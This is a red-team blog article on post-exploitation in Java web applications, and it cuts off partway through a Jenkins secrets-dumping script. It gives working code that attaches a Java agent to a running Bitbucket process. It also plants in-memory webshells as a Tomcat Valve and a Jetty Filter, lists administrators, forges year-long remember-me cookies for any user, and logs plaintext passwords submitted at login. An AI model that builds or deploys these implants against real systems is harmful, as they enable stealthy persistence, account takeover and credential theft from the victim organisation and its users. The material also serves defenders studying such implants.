Injecting Java in-memory payloads for post-exploitation
Back in March, we described tips that could be used when exploiting arbitrary deserialization on Java applications. During the next red team engagements, we faced Java applications affected by other kind of vulnerabilities leading to code execution. This article will try to present a few other tricks that were used to inject an in-memory Java payload, illustrated with concrete examples by targeting well-known applications.
Introduction
The logic mentioned in our previous blog post1, targeting applications affected by arbitrary deserialization vulnerabilities, could be adapted to inject in-memory payloads from different vulnerabilities or features leading to RCE, such as SSTIs, scripting engines and command injections.
This article will cover some tips and tricks that could be applied to inject such a payload, and to develop post-exploitation features that would allow altering the application behavior. This would be interesting to stay under the radar during post-exploitation, or to intercept plaintext credentials of privileged users authenticating to the compromised application.
We will focus on web-based Java applications and try to illustrate these tricks by targeting the following well-known products:
- Bitbucket Data Center by exploiting a command injection vulnerability.
- Jenkins by exploiting its Groovy console.
- Confluence Data Center by exploiting an SSTI vulnerability.
Loading through command injections
Bitbucket is a web-based platform for hosting and managing Git repositories. It offers a variety of features for developers and teams to collaborate on software projects. This solution is owned and developed by Atlassian.
Context
In 2022, a command injection vulnerability referenced as CVE-2022-36804 affecting Bitbucket Data Center was disclosed. This vulnerability can be exploited by injecting arbitrary arguments to the git
command when exporting a repository to an archive. If anonymous users are granted read access over a public repository, this vulnerability can be exploited without prior authentication and several PoCs2 3 exist to exploit this vulnerability.
This vulnerability could be used to compromise the server hosting it, and perform network pivoting. However, if this application hosts sensitive assets and is still used by legitimate developers, it may be interesting to first compromise it and the assets it hosts. Moreover, if outgoing traffic is filtered, and if the application is executed as an unprivileged user, it may be necessary to exfiltrate data using the application itself.
The easiest way to compromise it would be to interact with its runtime, through Java code. Bitbucket internally uses the following dependencies:
- Embedded Tomcat for the web server.
- The Spring framework.
Note that the following post-exploitation tips were tested on Bitbucket Datacenter 7, but the same methodology could be used to target other versions or applications.
[...]
INFO [main] c.a.b.i.b.BitbucketServerApplication Starting BitbucketServerApplication v7.21.0 using Java 11.0.20.1 on b3cb508081b3 with PID 208 (/opt/atlassian/bitbucket/app/WEB-INF/classes started by bitbucket in /var/atlassian/application-data/bitbucket)
INFO [main] c.a.b.i.b.BitbucketServerApplication No active profile set, falling back to default profiles: default
INFO [main] c.a.b.i.boot.log.BuildInfoLogger Starting Bitbucket 7.21.0 (6dea001 built on Tue Mar 01 21:46:46 UTC 2022)
INFO [main] c.a.b.i.boot.log.BuildInfoLogger JVM: Eclipse Adoptium OpenJDK 64-Bit Server VM 11.0.20.1+1
INFO [main] c.a.b.i.b.BitbucketServerApplication Started BitbucketServerApplication in 2.522 seconds (JVM running for 3.135)
INFO [spring-startup] c.a.s.internal.home.HomeLockAcquirer Successfully acquired lock on home directory /var/atlassian/application-data/bitbucket
[...]
Injecting an in-memory payload
The Instrumentation features of the JVM are quite interesting for this purpose, as they offer capabilities for debugging or profiling applications, such as loading an arbitrary JAR file inside a running Java process. Indeed, the Attach API allows attaching an agent on a process, as long as it is requested from the same system user, and it is not restricted. Restrictions and risks of the Attach API are described in this article4. On default Bitbucket installations, using the Docker image, such restrictions are not configured.
In order to make the JVM load an agent, a JAR application that would be executed by exploiting the command injection vulnerability should be created. This application should define two entry points:
- A
main
static method, executed when the application is launched legitimately. This method would use the Attach API to make the remote JVM load itself as an agent. The main class that defines this method should be referenced in theMain-Class
entry of the main Manifest. -
An
agentmain
static method, executed when the agent (the JAR application itself) is loaded on the remote Java process. The class that defines this method should be referenced in theAgent-Class
entry of the main Manifest.
On the main
static method, the Instrumentation API can be used as follows to look up the right Java process using VirtualMachine::list
, and to load itself as an agent using VirtualMachine.loadAgent
:
public class Main {
// looks up the current application's JAR path
private static String getCurrentJarPath() throws URISyntaxException {
return new File(Main.class.getProtectionDomain().getCodeSource()
.getLocation().toURI()).getAbsolutePath();
}
public static void main(String[] args) {
try {
String jarPath = getCurrentJarPath();
if (!jarPath.endsWith(".jar")) return;
Class vm = Class.forName("com.sun.tools.attach.VirtualMachine");
Class vmDescriptor = Class.forName("com.sun.tools.attach.VirtualMachineDescriptor");
List<Object> descriptors = (List<Object>) vm.getMethod("list").invoke(null);
for (Object descriptor : descriptors) {
String pid = (String) vmDescriptor.getMethod("id").invoke(descriptor);
String name = (String) vmDescriptor.getMethod("displayName").invoke(descriptor);
// filter process by its name / command line
if (!name.contains("com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher"))
continue;
Object vmObject = null;
try {
vmObject = vm.getMethod("attach", String.class).invoke(null, pid);
if (vmObject != null)
vm.getMethod("loadAgent", String.class).invoke(vmObject, jarPath);
} finally {
if (vmObject != null)
vm.getMethod("detach").invoke(vmObject);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
The previous snippet selects the target according to the java
command-line belonging to the Bitbucket application:
# ps -xa
197 ? Sl 5:03 /opt/java/openjdk/bin/java -classpath /opt/atlassian/bitbucket/app -Datlassian.standalone=BITBUCKET -Dbitbucket.home=/var/atlassian/application-data/bitbucket -Dbitbucket.install=/opt/atlassian/bitbucket -Xms512m -Xmx1g -XX:+UseG1GC -Dfile.encoding=UTF-8 -Dsun.jnu.encoding=UTF-8 -Djava.io.tmpdir=/var/atlassian/application-data/bitbucket/tmp -Djava.library.path=/opt/atlassian/bitbucket/lib/native;/var/atlassian/application-data/bitbucket/lib/native com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher start --logging.console=true
[...]
However, even though this mechanism is present in the JVM of a JRE, the Attach API and the logic used to communicate with the JVM (libattach
) may not be present. For example, we faced a Bitbucket installation using OpenJDK-8-JRE
that did not have such API. In order to fix it, the two following files should be retrieved from the corresponding JDK:
- The Java Attach API on the
tools.jar
file. - The low-level
libattach
implementation (libattach.dll
orlibattach.so
).
Then, these two files should be written to disk if needed, and the class path and low-level libraries path should be adjusted5:
private static void prepare() throws Exception {
try {
Class.forName("com.sun.tools.attach.VirtualMachine");
} catch (Exception e) { // if libattach is not present/loaded
String parentPath = new File(getCurrentJarPath()).getParent();
String finalPath = parentPath + "/tools.jar";
ClassLoader loader = ClassLoader.getSystemClassLoader();
// adjust low-level libraries path
Field field = ClassLoader.class.getDeclaredField("sys_paths");
field.setAccessible(true);
List<String> newSysPaths = new ArrayList<>();
newSysPaths.add(parentPath);
newSysPaths.addAll(Arrays.asList((String[])field.get(loader)));
field.set(loader, newSysPaths.toArray(new String[0]));
// add tools.jar to the class path
URLClassLoader urlLoader = (URLClassLoader) loader;
Method addURLMethod = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
addURLMethod.setAccessible(true);
File toolsJar = new File(finalPath);
if (!toolsJar.exists())
throw new RuntimeException(toolsJar.getAbsolutePath() + " does not exist");
addURLMethod.invoke(urlLoader, new File(finalPath).toURI().toURL());
}
}
Note however that adjusting the class path using addURL
would not work on Java versions starting from 9, as the system class loader does not extend URLClassLoader
anymore.
Once the Java agent has been loaded on the remote JVM process, the agentmain
method of Agent-Class
will be invoked and executed inside the remote process.
Obtaining a handle to Bitbucket
To interact with Bitbucket, a reference to the application's internal state should be obtained. But first, our custom classes, that would use Bitbucket dependencies, should be defined at runtime.
There are two ways of doing this:
- Use the Instrumentation API to intercept calls and patch existing bytecode.
- Look up the right
ClassLoader
and define new classes manually.
The first method is already covered by several blog posts6 7 and projects8 9.
They both rely on the Transformer Instrumentation API and overwrite existing bytecode. This article will detail the second option, which we used in engagements and is less dangerous as it does not interfere with the existing classes. The main idea here is to develop a new Java library, compiled in a project (either using Maven, Gradle or manually) that imports Bitbucket dependencies as external ones. This library would extend Bitbucket by calling its components and would be injected at runtime from a ClassLoader
.
To look up the right ClassLoader
, that includes Bitbucket classes and its dependencies, the following snippet can be used:
private static ClassLoader lookup (Instrumentation i) {
for (Class klass : i.getAllLoadedClasses()) {
if (!klass.getName().equals("org.apache.catalina.valves.ValveBase")) continue;
return klass.getClassLoader();
}
return null;
}
// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
ClassLoader targetLoader = lookup(i);
}
Then, we just have to define our classes manually from their bytecode. Here we create a class on our agent that extends ClassLoader
and uses the targetLoader
as its parent, to define classes without having to make the private defineClass
method accessible:
private static class AgentLoader extends ClassLoader {
private static final byte[][] classBytecodes = new byte[][] {
new byte[]{ /* custom class bytecode */ }
/* classes bytecode */
};
private static final String[] classNames = new String[] {
"org.my.project.CustomClass"
};
public void defineClasses() throws Exception {
for (int = 0; i < classBytecodes.length; ++i) {
defineClass(classNames[i], classBytecodes[i], 0,
classBytecodes[i].length);
}
}
}
// [...]
// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
try {
ClassLoader targetLoader = lookup(i);
AgentLoader loader = new AgentLoader(targetLoader);
loader.defineClasses();
} catch (Exception e) {
e.printStackTrace();
}
}
Note that an easier way of doing this would be to create a URLClassLoader
with targetLoader
as its parent, and use it to load a class from a custom JAR library.
Now that our classes are defined inside the right ClassLoader
, we can import Bitbucket dependencies from them.
Then, we need to obtain a reference to the internal application's state. As we explained in our previous blog post, such variables are usually stored on ThreadLocals
. The problem with this generic approach is that our code is not running on a thread that is currently processing a web request. To fix it, we just need to continuously analyze ThreadLocals
of all threads, and stop when a reference to the right state variable is identified:
package org.my.project;
// [...]
import org.springframework.web.context.request.ServletRequestAttributes;
// [...]
public class CustomClass implements Runnable {
private static ServletRequestAttributes lookupAttributes() throws Exception {
ServletRequestAttributes attribs = null;
// Analyzes all thread locals of all threads
// Stops when a servlet request is being processed
// to obtain a reference to the web app ctx
while(true) {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread t : threads) {
java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
fThreadLocals.setAccessible(true);
java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap")
.getDeclaredField("table");
fTable.setAccessible(true);
if(fThreadLocals.get(t) == null) continue;
Object table = fTable.get(fThreadLocals.get(t));
java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry")
.getDeclaredField("value");
fValue.setAccessible(true);
int length = java.lang.reflect.Array.getLength(table);
for (int i=0; i < length; ++i) {
Object entry = java.lang.reflect.Array.get(table, i);
if(entry == null) continue;
Object value = fValue.get(entry);
if(value == null) continue;
if (value instanceof WeakReference) {
value = ((WeakReference<?>) value).get();
}
if(value == null) continue;
if (value instanceof SoftReference) {
value = ((SoftReference<?>) value).get();
}
if(value == null) continue;
// We've found a ref
if(value.getClass().getName().equals(ServletRequestAttributes.class.getName())) {
attribs = (ServletRequestAttributes) value;
break;
}
}
if (attribs != null) break;
}
if (attribs != null) break;
Thread.sleep(100);
}
return attribs;
}
@Override
public void run() {
try {
ServletContext svlCtx = lookupAttributes().getRequest().getServletContext();
// TODO reuse ServletContext
} catch(Exception ignored) {
}
}
static {
new Thread(new CustomClass()).start();
}
}
The previous class CustomClass
has a static block initializer, executed when the class will be defined from the agent. This block creates a new thread that continuously analyzes ThreadLocals
. The lookupAttributes
static method stops when a reference to an instance of ServletRequestAttributes
is identified and retrieves the ServletContext
instance from it. To speed this step up, we just have to send a new HTTP request to the Bitbucket application.
From the ServletContext
instance, we can perform the following operations:
- Intercept all the HTTP requests by registering a new
Valve
on Embedded Tomcat. - Obtain a reference to the Spring state of Bitbucket.
In order to intercept all the HTTP requests and to register an in-memory webshell, the following snippet can be used:
public static class CustomValve extends ValveBase {
// [...]
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
// TODO parse request and send a response from the in-memory webshell
} catch (Exception ignored) {
} finally {
// forward to the next Valve
if (this.getNext() != null) {
this.getNext().invoke(request, response);
}
}
}
// [...]
}
private void injectValve(ServletContext svlCtx) {
// Intercepts all requests (including pre-auth requests)
WebappClassLoaderBase lbase = (WebappClassLoaderBase) svlCtx.getClassLoader();
Field fResources = WebappClassLoaderBase.class.getDeclaredField("resources");
fResources.setAccessible(true);
StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))
.getContext();
// Already injected ?
for (Valve valve: ctx.getParent().getPipeline().getValves()) {
if(valve.getClass().getName() == CustomValve.class.getName())
return;
}
ctx.getParent().getPipeline().addValve(new CustomValve());
}
Another technique to achieve the same result is to look for an instance of a specific context class loaders. Each thread is associated with a context class loader and in the case of Tomcat, by searching through all threads we can find a WebappClassLoaderBase
.
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread t : threads) {
cl = t.getContextClassLoader();
if(WebappClassLoaderBase.class.isInstance(cl)){
return cl;
}
}
This particular class loader has a resources
field:
public abstract class WebappClassLoaderBase extends URLClassLoader implements ... {
[...]
protected WebResourceRoot resources = null;
From this field we can retrieve the StandardConext
that we used in the previous example.
public class StandardRoot extends LifecycleMBeanBase implements WebResourceRoot {
[...]
private Context context;
[...]
public Context getContext() {
return this.context;
}
Regarding the Spring state of Bitbucket, it is an instance of the WebApplicationContext
class, and can be retrieved from attributes of the ServletContext
instance. The name of this attribute can be obtained by:
- Decompiling Bitbucket.
- Debugging Bitbucket.
- Simply analyzing all the registered attributes of this
SpringContext
instance.
From this constant name, the WebApplicationContext
instance can be retrieved:
String SPRING_ATTR = "org.springframework.web.context.WebApplicationContext:Bitbucket";
ServletContext svlCtx = /* lookup() */;
WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
Finally, it is possible to call Bitbucket components, which are Beans
on Spring, or to retrieve Bitbucket properties from it:
WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
SampleService sampleService = (SampleService) ctx.getBean("sampleService");
String sampleBitbucketPropertyValue = ctx.getEnvironment().getProperty("some-property");
Interacting with Bitbucket components
Now that we have a convenient way to extend Bitbucket capabilities by calling its components, we can look for interesting features of Bitbucket. These would then be used in our in-memory webshell to provide specific commands.
As for the SpringContext
attributes, we can analyze the call stack by attaching a debugger to Bitbucket, and decompile the related JAR dependencies. This blogpost will not cover it, but it is a good start to find which components (i.e. Spring Beans) are used to perform specific tasks in Bitbucket.
Actually, the following JAR files are interesting:
- API definitions (using interfaces only), on JAR libraries following the naming convention
bitbucket-[feature]-api-[version].jar
. - API implementations, on JAR libraries following the naming convention
bitbucket-[feature]-impl-[version].jar
.
Parts of the main API are documented on the Atlassian Docs website.
On the API implementation libraries, the @Service("[name]")
Spring class annotation corresponds to the name given to the Bitbucket component (i.e. Spring Bean), that can be retrieved from the WebApplicationContext
.
For example, the DefaultUserService
implementing UserService
is a Bean named userService
:
// [...]
@DependsOn({"createSystemUserUpgradeTask"})
@AvailableToPlugins(interfaces = {UserService.class, DmzUserService.class})
@Service("userService")
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/user/DefaultUserService.class */
public class DefaultUserService extends AbstractService implements InternalUserService {
// [...]
private final ApplicationUserDao userDao;
private final UserHelper userHelper;
@Value("${page.max.groups}")
private int maxGroupPageSize;
@Value("${page.max.users}")
private int maxUserPageSize;
@Autowired
public DefaultUserService(@Lazy InternalAvatarService avatarService, InternalAuthenticationContext authenticationContext, CacheFactory cacheFactory, CrowdControl crowdControl, EventPublisher eventPublisher, I18nService i18nService, PasswordResetHelper passwordResetHelper, @Lazy InternalPermissionService permissionService, ApplicationUserDao userDao, UserHelper userHelper, @Value("${auth.remote.cache.cacheSize}") int cacheSize, @Value("${auth.remote.cache.ttl}") int cacheTtl, @Value("${auth.remote.enabled}") boolean checkRemoteDirectory) {
// [...]
}
@PreAuthorize("hasUserPermission(#user, 'USER_ADMIN')")
public void deleteAvatar(@Nonnull ApplicationUser user) {
this.avatarService.deleteForUser((ApplicationUser) Objects.requireNonNull(user, "user"));
}
// [...]
}
Which is available from our context as follows:
WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
UserService userService = (UserService) ctx.getBean("userService");
Listing administrators
The first step on post-exploitation is to perform a reconnaissance phase. In the current context, it would be useful to list details of all the administrators of the Bitbucket instance. For this purpose, there is also a PermissionService
that can be used to fetch users' details that have a specific permission:
// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
.getAttribute(SPRING_ATTR);
HashMap<String, Object> result = new HashMap<>();
PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
for(ApplicationUser user : admins.getValues()) {
HashMap<String, Object> entry = new HashMap<>();
entry.put("user_id", user.getId());
entry.put("user_name", user.getDisplayName());
entry.put("user_slug", user.getSlug());
entry.put("user_type", user.getType().name());
entry.put("user_enabled", Boolean.toString(user.isActive()));
entry.put("user_email", user.getEmailAddress());
entry.put("permission", perm.name());
result.put(Integer.toString(user.getId()), entry);
}
}
However, if this snippet is executed as-is from our injected context (i.e. from an intercepted request in our custom Valve
), the following Exception
will be thrown:
org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread
In Bitbucket, the Spring Framework uses Hibernate under the hoods. In our context, no session is already opened so all the subsequent database queries will fail. By reproducing the behavior of OpenSessionInViewFilter
using SessionFactoryUtils
, we can set up a new session for our context:
import org.hibernate.FlushMode;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.springframework.orm.hibernate5.SessionFactoryUtils;
import org.springframework.orm.hibernate5.SessionHolder;
import org.springframework.transaction.support.TransactionSynchronizationManager;
import org.springframework.web.context.WebApplicationContext;
import java.io.Closeable;
public class HibernateSessionCloseable implements Closeable {
private final SessionFactory factory;
private final Session session;
public HibernateSessionCloseable(WebApplicationContext webCtx) {
this.factory = (SessionFactory) webCtx.getBean("sessionFactory");
this.session = factory.openSession();
session.setHibernateFlushMode(FlushMode.MANUAL);
SessionHolder holder = new SessionHolder(session);
TransactionSynchronizationManager.bindResource(factory, holder);
}
@Override
public void close() {
session.flush();
TransactionSynchronizationManager.unbindResource(factory);
SessionFactoryUtils.closeSession(session);
}
}
Now, we just have to surround our code block with a new HibernateSessionCloseable
instance to fix it:
// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
.getAttribute(SPRING_ATTR);
HashMap<String, Object> result = new HashMap<>();
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
for(ApplicationUser user : admins.getValues()) {
// [...]
}
}
}
Generating authentication cookies
Another feature that can be interesting for this in-memory webshell would be to generate authenticated sessions for an arbitrary Bitbucket user. Bitbucket, as several applications (cf. Spring Remember-Me Authentication), has an authentication method based on remember-me cookies (cf. RememberMeService
). This feature is enabled by default (optional
value for the Bitbucket property auth.remember-me.enabled
), and automatically authenticates a user based on a cookie.
This service is implemented by the DefaultRememberMeService
class:
// [...]
@Service("rememberMeService")
@AvailableToPlugins(RememberMeService.class)
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/auth/DefaultRememberMeService.class */
public class DefaultRememberMeService implements InternalRememberMeService, RememberMeService {
// [...]
private final AuthenticationContext authenticationContext;
private final RememberMeTokenDao dao;
private final SecureTokenGenerator tokenGenerator;
private final UserService userService;
// [...]
public void createCookie(@Nonnull HttpServletRequest request, @Nonnull HttpServletResponse response) {
ApplicationUser user = this.authenticationContext.getCurrentUser();
Objects.requireNonNull(user);
doCreateCookie(user, request, response, false);
}
// [...]
@VisibleForTesting
protected String encodeCookie(String... cookieTokens) {
String joined = StringUtils.join(cookieTokens, ":");
String encoded = new String(Base64.encodeBase64(joined.getBytes()));
return StringUtils.stripEnd(encoded, "=");
}
// [...]
private void doCreateCookie(@Nonnull ApplicationUser user, @Nonnull HttpServletRequest request,
@Nonnull HttpServletResponse response, boolean shouldThrowIfCookiePresent) {
Cookie cookie = getCookie(request);
if (cookie != null) {
if (shouldThrowIfCookiePresent) {
cancelCookie(request, response);
InternalRememberMeToken token = toToken(cookie);
throw new IllegalStateException("A remember-me cookie for series '+"
+ (token != null ? token.getSeries() : "invalid")
+ "' is already present. Cannot provide a remember-me cookie for a new series. Canceling the existing cookie");
}
logout(request, response);
}
InternalRememberMeToken token2 = (InternalRememberMeToken) this.dao.create(
new InternalRememberMeToken.Builder()
.series(this.tokenGenerator.generateToken())
.token(this.tokenGenerator.generateToken())
.user(InternalConverter.convertToInternalUser(user))
.expiresAfter(this.expirySeconds, TimeUnit.SECONDS).build());
setCookie(request, response, token2);
log.debug("Created new remember-me series '{}' for user '{}'", token2.getSeries(), user.getName());
}
// [...]
}
As this service only allows generating a remember-me cookie for the currently authenticated user, we will need to generate the remember-me cookie by copying the behavior of the doCreateCookie
private method:
HashMap<String, Object> result = new HashMap<>();
int userId = (int) args.get("target_user_id");
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
//lookup user
UserService userService = (UserService) ctx.getBean("userService");
ApplicationUser user;
try {
user = userService.getUserById(userId);
} catch (Exception e) {
return;
}
if (user == null) return;
//generate an auto-login cookie for this user
RememberMeTokenDao rmeDao = (RememberMeTokenDao) ctx.getBean("rememberMeTokenDao");
SecureTokenGenerator tokenGenerator = (SecureTokenGenerator) ctx.getBean("tokenGenerator");
InternalRememberMeToken token = rmeDao.create(
new InternalRememberMeToken.Builder()
.series(tokenGenerator.generateToken())
.token(tokenGenerator.generateToken())
.user(InternalConverter.convertToInternalUser(user))
.expiresAfter(TimeUnit.DAYS.toSeconds(365), TimeUnit.SECONDS)
.build()
);
String joined = StringUtils.join(Arrays.asList(token.getSeries(), token.getToken()), ':');
result.put("cookie_name", ctx.getEnvironment().getProperty("auth.remember-me.cookie.name"));
result.put("cookie_value", Base64Utils.encodeToUrlSafeString(joined.getBytes()));
}
This cookie, once returned from the webshell on the HTTP response, can be directly used to obtain an authenticated session on behalf of the targeted user, granting full privileges over Bitbucket if it is an administrator.
Intercepting plaintext credentials
The last interesting feature of this webshell would be to intercept authentication forms submitted by legitimate users to capture credentials in plaintext, as this would be useful to gain access to other sensitive assets. Moreover, on-premise Bitbucket instances usually rely on an LDAP directory for authentication (cf. Bitbucket Datacenter guide), which makes it even more interesting.
For Bitbucket, the authentication form uses the /j_atl_security_check
endpoint. For example, when the form is submitted, the following request is performed:
POST /j_atl_security_check HTTP/1.1
Host: 172.16.0.2:7990
Content-Type: application/x-www-form-urlencoded
Content-Length: [...]
j_username=[USERNAME]&j_password=[PASSWORD]&_atl_remember_me=on&next=[...]&queryString=[...]&submit=Log+in
On our context, all the HTTP requests can be intercepted from the CustomValve
class, the following snippet logs all the received credentials:
public static class CustomValve extends ValveBase {
// [...]
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getRequestURI().equals("/j_atl_security_check")
&& request.getMethod().equalsIgnoreCase("POST")
&& request.getParameter("j_username") != null
&& request.getParameter("j_password") != null) {
logCredentials(request.getParameter("j_username"),
request.getParameter("j_password"));
}
// TODO parse request and send a response from the in-memory webshell
} catch (Exception ignored) {
} finally {
// forward to the next Valve
if (this.getNext() != null) {
this.getNext().invoke(request, response);
}
}
}
private final HashMap<String, Set<String>> credentials = new HashMap<>();
private void logCredentials(String username, String pass) {
u = u.trim();
synchronized (credentials) {
if(credentials.containsKey(username)) {
Set<String> set = credentials.get(u);
set.add(pass);
} else {
Set<String> set = new HashSet<>();
set.add(pass);
credentials.put(username, set);
}
}
}
// [...]
}
Finally, the webshell just has to be modified to handle a new command that responds to its caller with all the intercepted credentials.
Loading through a scripting engine
Jenkins is an open-source automation server widely used for continuous integration (CI) and continuous delivery (CD) pipelines in software development. It allows developers to automate various aspects of the software development process, such as building, testing, and deploying code changes.
Context
Jenkins has a feature allowing to execute Groovy scripts from:
- The Script console on the management interface, where scripts can be executed within the Jenkins controller runtime (i.e. where the web console is executed).
- Automation tasks when submitting code to pipelines, where scripts are executed on Jenkins workers.
Over the past years, two pre-authenticated paths leading to RCE on the Jenkins controller were identified:
- Arbitrary unserialize of user-supplied data from Jenkins Remoting (CVE-2017-1000353, including a Metasploit module10). As explained in this article11, the unserialize is triggered from a
SignedObject
of a gadget chain targetingcommons-collections:3.0
usingTransformers
. - Several sandbox bypasses on pipeline jobs covered by Orange Tsai (Hacking Jenkins Part 112, Hacking Jenkins Part 213), chaining CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029 (PoC14).
In this article, we will only consider the simple case of being authenticated as administrator on Jenkins where we can use the Script console to execute arbitrary Groovy scripts within the Jenkins controller runtime. Note however that the post-exploitation tricks presented in the following chapters could be used from the two mentioned RCE chains.
The Groovy scripts execution will be used to interact with the Jenkins runtime. Jenkins internally uses the following dependencies:
- Embedded Jetty for the web server.
- The Spring framework.
Injecting an in-memory payload
We can already define new classes from Groovy. Additionally, we can define custom classes from the parent of the current Thread context's ClassLoader
:
try {
ClassLoader cl = Thread.currentThread().getContextClassLoader()
.getParent();
Class kValve;
for(d in ['[B64_ENCODED_CLASS_BYTECODE]']) {
byte[] klassBytes = Base64.decoder.decode(d.strip());
m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
kValve = (Class) m.invoke(cl, klassBytes, 0, klassBytes.length);
}
kValve.newInstance();
} catch(e) { }
From our injected custom classes, we can interact with Jenkins and Spring classes. The next step would be to inject an in-memory webshell intercepting all HTTP requests. In Spring on Jetty, we can obtain a reference to WebAppContext$Context
in ThreadLocals
of a thread currently processing a request. From an instance of the enclosed WebAppContext$Context
class, we can retrieve the instance of the enclosing class WebAppContext
, stored in the internal field this$0
.
Luckily, our Groovy script is executed from within the thread that is processing our current HTTP request, and we can obtain this reference from the following snippet:
try {
Thread t = Thread.currentThread();
java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
fThreadLocals.setAccessible(true);
java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap").getDeclaredField("table");
fTable.setAccessible(true);
if (fThreadLocals.get(t) == null) return;
Object table = fTable.get(fThreadLocals.get(t));
java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry").getDeclaredField("value");
fValue.setAccessible(true);
Object handle = null;
int length = java.lang.reflect.Array.getLength(table);
for (int i = 0; i < length; ++i) {
Object entry = java.lang.reflect.Array.get(table, i);
if (entry == null) continue;
Object value = fValue.get(entry);
if (value == null) continue;
if (value instanceof WeakReference) {
value = ((WeakReference<?>) value).get();
}
if (value == null) continue;
if (value instanceof SoftReference) {
value = ((SoftReference<?>) value).get();
}
if (value == null) continue;
if (value.getClass().getName().equals("org.eclipse.jetty.webapp.WebAppContext$Context")) {
handle = value;
break;
}
}
if (handle == null) return;
Field this0 = handle.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext) this0.get(handle);
} catch (Throwable ignored) {
}
Then, we can use this reference to define a custom Filter and add it to the top of the chain:
//[...]
import javax.servlet.Filter;
//[...]
public class CustomFilter implements Filter {
public CustomFilter(WebAppContext appCtx) throws Exception {
ServletHandler handler = appCtx.getServletHandler();
addFilterWithMapping(
handler,
new FilterHolder(this), "/*",
EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST)
);
}
private static void addFilterWithMapping(final ServletHandler handler, FilterHolder holder,
String pathSpec, EnumSet<DispatcherType> dispatches) throws Exception {
holder.setName("CustomFilter" + new SecureRandom().nextInt(0xffff));
Objects.requireNonNull(holder);
FilterHolder[] holders = handler.getFilters();
if (holders != null) {
holders = holders.clone();
} else {
holders = new FilterHolder[0];
}
// already injected
for (FilterHolder entry : holders) {
if (entry.getFilter().getClass().getName().equals(CustomFilter.class.getName()))
return;
}
synchronized (handler) {
Method contains = handler.getClass()
.getDeclaredMethod("containsFilterHolder", FilterHolder.class);
contains.setAccessible(true);
if (!((Boolean) contains.invoke(handler, holder))) {
handler.setFilters(ArrayUtil.add(new FilterHolder[]{holder}, holders));
}
}
FilterMapping mapping = new FilterMapping();
mapping.setFilterName(holder.getName());
mapping.setPathSpec(pathSpec);
mapping.setDispatcherTypes(dispatches);
handler.prependFilterMapping(mapping);
}
@Override
public void destroy() { }
@Override
public void init(FilterConfig filterConfig) { }
private static class AbortRequest extends Throwable { }
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
try {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (request.getHeader(/* [...] */) != null) {
try {
handleRequest(request, response);
} catch (AbortRequest e) {
return; //if raw HTML result, prevent the req from being processed by jenkins
}
}
} catch (Exception ignored) {
}
if (filterChain != null) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
// [...]
}
This in-memory webshell can then be extended to define specific features.
Executing scripts
On Jenkins, Groovy scripts are executed using the RemotingDiagnostics
class of Hudson and its Script
private class. This class imports several packages that allow interacting with the Jenkins API.
For example, the following script, based on the one mentioned in this article15, can be directly used to exfiltrate all the automation secrets, as long as the currently authenticated user is granted read privileges over them:
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernameCredentials
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl
import com.cloudbees.plugins.credentials.common.StandardCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl
import org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl
import com.cloudbees.plugins.credentials.impl.CertificateCredentialsImpl
import hudson.model.ItemGroup
def stringify(c) {
switch(c) {
case BasicSSHUserPrivateKey:
return String.format("id=%s desc=%s passphrase=%s keys=%s", c.id, c.description,
